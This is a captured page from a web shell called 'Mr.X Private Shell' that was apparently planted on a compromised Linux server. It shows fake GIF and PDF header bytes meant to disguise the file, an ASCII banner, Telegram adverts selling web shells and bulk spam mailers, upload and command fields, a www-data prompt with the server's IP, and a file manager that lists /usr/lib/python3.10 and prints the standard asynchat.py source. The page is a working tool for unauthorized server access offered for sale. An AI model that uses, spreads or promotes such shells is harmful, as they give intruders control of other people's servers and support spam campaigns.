GIF89; GIF89; %PDF- %PDF- Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.129: ~ $ 
# -*- Mode: Python; tab-width: 4 -*-
#       Id: asynchat.py,v 2.26 2000/09/07 22:29:26 rushing Exp
#       Author: Sam Rushing <rushing@nightmare.com>

# ======================================================================
# Copyright 1996 by Sam Rushing
#
#                         All Rights Reserved
#
# Permission to use, copy, modify, and distribute this software and
# its documentation for any purpose and without fee is hereby
# granted, provided that the above copyright notice appear in all
# copies and that both that copyright notice and this permission
# notice appear in supporting documentation, and that the name of Sam
# Rushing not be used in advertising or publicity pertaining to
# distribution of the software without specific, written prior
# permission.
#
# SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN
# NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, INDIRECT OR
# CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
# OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
# ======================================================================

r"""A class supporting chat-style (command/response) protocols.

This class adds support for 'chat' style protocols - where one side
sends a 'command', and the other sends a response (examples would be
the common internet protocols - smtp, nntp, ftp, etc..).

The handle_read() method looks at the input stream for the current
'terminator' (usually '\r\n' for single-line responses, '\r\n.\r\n'
for multi-line output), calling self.found_terminator() on its
receipt.

for example:
Say you build an async nntp client using this class.  At the start
of the connection, you'll have self.terminator set to '\r\n', in
order to process the single-line greeting.  Just before issuing a
'LIST' command you'll set it to '\r\n.\r\n'.  The output of the LIST
command will be accumulated (using your own 'collect_incoming_data'
method) up to the terminator, and then control will be returned to
you - by calling your self.found_terminator() method.
"""
import asyncore
from collections import deque

from warnings import warn
warn(
    'The asynchat module is deprecated and will be removed in Python 3.12. '
    'The recommended replacement is asyncio',
    DeprecationWarning,
    stacklevel=2)



class async_chat(asyncore.dispatcher):
    """This is an abstract class.  You must derive from this class, and add
    the two methods collect_incoming_data() and found_terminator()"""

    # these are overridable defaults

    ac_in_buffer_size = 65536
    ac_out_buffer_size = 65536

    # we don't want to enable the use of encoding by default, because that is a
    # sign of an application bug that we don't want to pass silently

    use_encoding = 0
    encoding = 'latin-1'

    def __init__(self, sock=None, map=None):
        # for string terminator matching
        self.ac_in_buffer = b''

        # we use a list here rather than io.BytesIO for a few reasons...
        # del lst[:] is faster than bio.truncate(0)
        # lst = [] is faster than bio.truncate(0)
        self.incoming = []

        # we toss the use of the "simple producer" and replace it with
        # a pure deque, which the original fifo was a wrapping of
        self.producer_fifo = deque()
        asyncore.dispatcher.__init__(self, sock, map)

    def collect_incoming_data(self, data):
        raise NotImplementedError("must be implemented in subclass")

    def _collect_incoming_data(self, data):
        self.incoming.append(data)

    def _get_data(self):
        d = b''.join(self.incoming)
        del self.incoming[:]
        return d

    def found_terminator(self):
        raise NotImplementedError("must be implemented in subclass")

    def set_terminator(self, term):
        """Set the input delimiter.

        Can be a fixed string of any length, an integer, or None.
        """
        if isinstance(term, str) and self.use_encoding:
            term = bytes(term, self.encoding)
        elif isinstance(term, int) and term < 0:
            raise ValueError('the number of received bytes must be positive')
        self.terminator = term

    def get_terminator(self):
        return self.terminator

    # grab some more data from the socket,
    # throw it to the collector method,
    # check for the terminator,
    # if found, transition to the next state.

    def handle_read(self):

        try:
            data = self.recv(self.ac_in_buffer_size)
        except BlockingIOError:
            return
        except OSError:
            self.handle_error()
            return

        if isinstance(data, str) and self.use_encoding:
            data = bytes(str, self.encoding)
        self.ac_in_buffer = self.ac_in_buffer + data

        # Continue to search for self.terminator in self.ac_in_buffer,
        # while calling self.collect_incoming_data.  The while loop
        # is necessary because we might read several data+terminator
        # combos with a single recv(4096).

        while self.ac_in_buffer:
            lb = len(self.ac_in_buffer)
            terminator = self.get_terminator()
            if not terminator:
                # no terminator, collect it all
                self.collect_incoming_data(self.ac_in_buffer)
                self.ac_in_buffer = b''
            elif isinstance(terminator, int):
                # numeric terminator
                n = terminator
                if lb < n:
                    self.collect_incoming_data(self.ac_in_buffer)
                    self.ac_in_buffer = b''
                    self.terminator = self.terminator - lb
                else:
                    self.collect_incoming_data(self.ac_in_buffer[:n])
                    self.ac_in_buffer = self.ac_in_buffer[n:]
                    self.terminator = 0
                    self.found_terminator()
            else:
                # 3 cases:
                # 1) end of buffer matches terminator exactly:
                #    collect data, transition
                # 2) end of buffer matches some prefix:
                #    collect data to the prefix
                # 3) end of buffer does not match any prefix:
                #    collect data
                terminator_len = len(terminator)
                index = self.ac_in_buffer.find(terminator)
                if index != -1:
                    # we found the terminator
                    if index > 0:
                        # don't bother reporting the empty string
                        # (source of subtle bugs)
                        self.collect_incoming_data(self.ac_in_buffer[:index])
                    self.ac_in_buffer = self.ac_in_buffer[index+terminator_len:]
                    # This does the Right Thing if the terminator
                    # is changed here.
                    self.found_terminator()
                else:
                    # check for a prefix of the terminator
                    index = find_prefix_at_end(self.ac_in_buffer, terminator)
                    if index:
                        if index != lb:
                            # we found a prefix, collect up to the prefix
                            self.collect_incoming_data(self.ac_in_buffer[:-index])
                            self.ac_in_buffer = self.ac_in_buffer[-index:]
                        break
                    else:
                        # no prefix, collect it all
                        self.collect_incoming_data(self.ac_in_buffer)
                        self.ac_in_buffer = b''

    def handle_write(self):
        self.initiate_send()

    def handle_close(self):
        self.close()

    def push(self, data):
        if not isinstance(data, (bytes, bytearray, memoryview)):
            raise TypeError('data argument must be byte-ish (%r)',
                            type(data))
        sabs = self.ac_out_buffer_size
        if len(data) > sabs:
            for i in range(0, len(data), sabs):
                self.producer_fifo.append(data[i:i+sabs])
        else:
            self.producer_fifo.append(data)
        self.initiate_send()

    def push_with_producer(self, producer):
        self.producer_fifo.append(producer)
        self.initiate_send()

    def readable(self):
        "predicate for inclusion in the readable for select()"
        # cannot use the old predicate, it violates the claim of the
        # set_terminator method.

        # return (len(self.ac_in_buffer) <= self.ac_in_buffer_size)
        return 1

    def writable(self):
        "predicate for inclusion in the writable for select()"
        return self.producer_fifo or (not self.connected)

    def close_when_done(self):
        "automatically close this channel once the outgoing queue is empty"
        self.producer_fifo.append(None)

    def initiate_send(self):
        while self.producer_fifo and self.connected:
            first = self.producer_fifo[0]
            # handle empty string/buffer or None entry
            if not first:
                del self.producer_fifo[0]
                if first is None:
                    self.handle_close()
                    return

            # handle classic producer behavior
            obs = self.ac_out_buffer_size
            try:
                data = first[:obs]
            except TypeError:
                data = first.more()
                if data:
                    self.producer_fifo.appendleft(data)
                else:
                    del self.producer_fifo[0]
                continue

            if isinstance(data, str) and self.use_encoding:
                data = bytes(data, self.encoding)

            # send the data
            try:
                num_sent = self.send(data)
            except OSError:
                self.handle_error()
                return

            if num_sent:
                if num_sent < len(data) or obs < len(first):
                    self.producer_fifo[0] = first[num_sent:]
                else:
                    del self.producer_fifo[0]
            # we tried to send some actual data
            return

    def discard_buffers(self):
        # Emergencies only!
        self.ac_in_buffer = b''
        del self.incoming[:]
        self.producer_fifo.clear()


class simple_producer:

    def __init__(self, data, buffer_size=512):
        self.data = data
        self.buffer_size = buffer_size

    def more(self):
        if len(self.data) > self.buffer_size:
            result = self.data[:self.buffer_size]
            self.data = self.data[self.buffer_size:]
            return result
        else:
            result = self.data
            self.data = b''
            return result


# Given 'haystack', see if any prefix of 'needle' is at its end.  This
# assumes an exact match has already been checked.  Return the number of
# characters matched.
# for example:
# f_p_a_e("qwerty\r", "\r\n") => 1
# f_p_a_e("qwertydkjf", "\r\n") => 0
# f_p_a_e("qwerty\r\n", "\r\n") => <undefined>

# this could maybe be made faster with a computed regex?
# [answer: no; circa Python-2.0, Jan 2001]
# new python:   28961/s
# old python:   18307/s
# re:        12820/s
# regex:     14035/s

def find_prefix_at_end(haystack, needle):
    l = len(needle) - 1
    while l and not haystack.endswith(needle[:l]):
        l -= 1
    return l

Filemanager

DIR : / usr/ lib/ python3.10/
Name Type Size Permission Actions
__pycache__ Folder 0755
asyncio Folder 0755
collections Folder 0755
concurrent Folder 0755
config-3.10-x86_64-linux-gnu Folder 0755
ctypes Folder 0755
curses Folder 0755
dbm Folder 0755
distutils Folder 0755
email Folder 0755
encodings Folder 0755
html Folder 0755
http Folder 0755
importlib Folder 0755
json Folder 0755
lib-dynload Folder 0755
lib2to3 Folder 0755
logging Folder 0755
multiprocessing Folder 0755
pydoc_data Folder 0755
sqlite3 Folder 0755
test Folder 0755
unittest Folder 0755
urllib Folder 0755
venv Folder 0755
wsgiref Folder 0755
xml Folder 0755
xmlrpc Folder 0755
zoneinfo Folder 0755
LICENSE.txt File 13.61 KB 0644
__future__.py File 5.03 KB 0644
__phello__.foo.py File 64 B 0644
_aix_support.py File 3.19 KB 0644
_bootsubprocess.py File 2.61 KB 0644
_collections_abc.py File 31.53 KB 0644
_compat_pickle.py File 8.54 KB 0644
_compression.py File 5.55 KB 0644
_distutils_system_mod.py File 6.16 KB 0644
_markupbase.py File 14.31 KB 0644
_osx_support.py File 21.28 KB 0644
_py_abc.py File 6.04 KB 0644
_pydecimal.py File 223.32 KB 0644
_pyio.py File 92.25 KB 0644
_sitebuiltins.py File 3.05 KB 0644
_strptime.py File 24.68 KB 0644
_sysconfigdata__linux_x86_64-linux-gnu.py File 26.84 KB 0644
_sysconfigdata__x86_64-linux-gnu.py File 26.84 KB 0644
_threading_local.py File 7.05 KB 0644
_weakrefset.py File 5.78 KB 0644
abc.py File 6.37 KB 0644
aifc.py File 31.84 KB 0644
antigravity.py File 500 B 0644
argparse.py File 96.52 KB 0644
ast.py File 58.5 KB 0644
asynchat.py File 11.25 KB 0644
asyncore.py File 19.79 KB 0644
base64.py File 20.36 KB 0755
bdb.py File 31.64 KB 0644
binhex.py File 14.44 KB 0644
bisect.py File 3.06 KB 0644
bz2.py File 11.57 KB 0644
cProfile.py File 6.2 KB 0755
calendar.py File 24 KB 0644
cgi.py File 33.3 KB 0755
cgitb.py File 11.81 KB 0644
chunk.py File 5.31 KB 0644
cmd.py File 14.51 KB 0644
code.py File 10.37 KB 0644
codecs.py File 35.85 KB 0644
codeop.py File 5.48 KB 0644
colorsys.py File 3.92 KB 0644
compileall.py File 19.78 KB 0644
configparser.py File 53.33 KB 0644
contextlib.py File 25.28 KB 0644
contextvars.py File 129 B 0644
copy.py File 8.48 KB 0644
copyreg.py File 7.25 KB 0644
crypt.py File 3.76 KB 0644
csv.py File 15.65 KB 0644
dataclasses.py File 55.07 KB 0644
datetime.py File 86.02 KB 0644
decimal.py File 320 B 0644
difflib.py File 81.36 KB 0644
dis.py File 19.55 KB 0644
doctest.py File 102.68 KB 0644
enum.py File 38.9 KB 0644
filecmp.py File 9.94 KB 0644
fileinput.py File 16.06 KB 0644
fnmatch.py File 6.56 KB 0644
fractions.py File 27.58 KB 0644
ftplib.py File 34.66 KB 0644
functools.py File 37.18 KB 0644
genericpath.py File 4.86 KB 0644
getopt.py File 7.31 KB 0644
getpass.py File 5.85 KB 0644
gettext.py File 27.04 KB 0644
glob.py File 7.7 KB 0644
graphlib.py File 9.35 KB 0644
gzip.py File 21.34 KB 0644
hashlib.py File 9.99 KB 0644
heapq.py File 22.34 KB 0644
hmac.py File 7.54 KB 0644
imaplib.py File 53.58 KB 0644
imghdr.py File 3.72 KB 0644
imp.py File 10.34 KB 0644
inspect.py File 121.46 KB 0644
io.py File 4.1 KB 0644
ipaddress.py File 75.96 KB 0644
keyword.py File 1.04 KB 0644
linecache.py File 5.56 KB 0644
locale.py File 76.3 KB 0644
lzma.py File 12.97 KB 0644
mailbox.py File 76.95 KB 0644
mailcap.py File 8.9 KB 0644
mimetypes.py File 22.01 KB 0644
modulefinder.py File 23.83 KB 0644
netrc.py File 5.61 KB 0644
nntplib.py File 40.06 KB 0644
ntpath.py File 26.92 KB 0644
nturl2path.py File 2.82 KB 0644
numbers.py File 10.11 KB 0644
opcode.py File 5.76 KB 0644
operator.py File 10.5 KB 0644
optparse.py File 58.95 KB 0644
os.py File 38.63 KB 0644
pathlib.py File 48.41 KB 0644
pdb.py File 61.74 KB 0755
pickle.py File 63.43 KB 0644
pickletools.py File 91.29 KB 0644
pipes.py File 8.71 KB 0644
pkgutil.py File 24 KB 0644
platform.py File 41.04 KB 0755
plistlib.py File 27.69 KB 0644
poplib.py File 14.84 KB 0644
posixpath.py File 15.75 KB 0644
pprint.py File 23.87 KB 0644
profile.py File 22.35 KB 0755
pstats.py File 28.64 KB 0644
pty.py File 5.09 KB 0644
py_compile.py File 7.69 KB 0644
pyclbr.py File 11.13 KB 0644
pydoc.py File 107.31 KB 0755
queue.py File 11.23 KB 0644
quopri.py File 7.1 KB 0755
random.py File 32.44 KB 0644
re.py File 15.49 KB 0644
reprlib.py File 5.14 KB 0644
rlcompleter.py File 7.63 KB 0644
runpy.py File 12.8 KB 0644
sched.py File 6.2 KB 0644
secrets.py File 1.99 KB 0644
selectors.py File 19.08 KB 0644
shelve.py File 8.36 KB 0644
shlex.py File 13.18 KB 0644
shutil.py File 53.29 KB 0644
signal.py File 2.38 KB 0644
site.py File 23.11 KB 0644
sitecustomize.py File 155 B 0644
smtpd.py File 34.34 KB 0755
smtplib.py File 44.35 KB 0755
sndhdr.py File 6.93 KB 0644
socket.py File 35.92 KB 0644
socketserver.py File 26.66 KB 0644
sre_compile.py File 27.32 KB 0644
sre_constants.py File 7.01 KB 0644
sre_parse.py File 39.82 KB 0644
ssl.py File 52.47 KB 0644
stat.py File 5.36 KB 0644
statistics.py File 42.19 KB 0644
string.py File 10.32 KB 0644
stringprep.py File 12.61 KB 0644
struct.py File 257 B 0644
subprocess.py File 82.93 KB 0644
sunau.py File 17.73 KB 0644
symtable.py File 9.98 KB 0644
sysconfig.py File 28.71 KB 0644
tabnanny.py File 11.03 KB 0755
tarfile.py File 104.93 KB 0755
telnetlib.py File 22.71 KB 0644
tempfile.py File 33.76 KB 0644
textwrap.py File 19.31 KB 0644
this.py File 1003 B 0644
threading.py File 55.86 KB 0644
timeit.py File 13.18 KB 0755
token.py File 2.33 KB 0644
tokenize.py File 25.31 KB 0644
trace.py File 28.53 KB 0755
traceback.py File 25.61 KB 0644
tracemalloc.py File 17.62 KB 0644
tty.py File 879 B 0644
turtle.py File 140.39 KB 0644
types.py File 9.88 KB 0644
typing.py File 90.39 KB 0644
uu.py File 7.13 KB 0755
uuid.py File 26.86 KB 0644
warnings.py File 19.23 KB 0644
wave.py File 17.58 KB 0644
weakref.py File 21.05 KB 0644
webbrowser.py File 23.68 KB 0755
xdrlib.py File 5.77 KB 0644
zipapp.py File 7.36 KB 0644
zipfile.py File 88.72 KB 0644
zipimport.py File 30.17 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X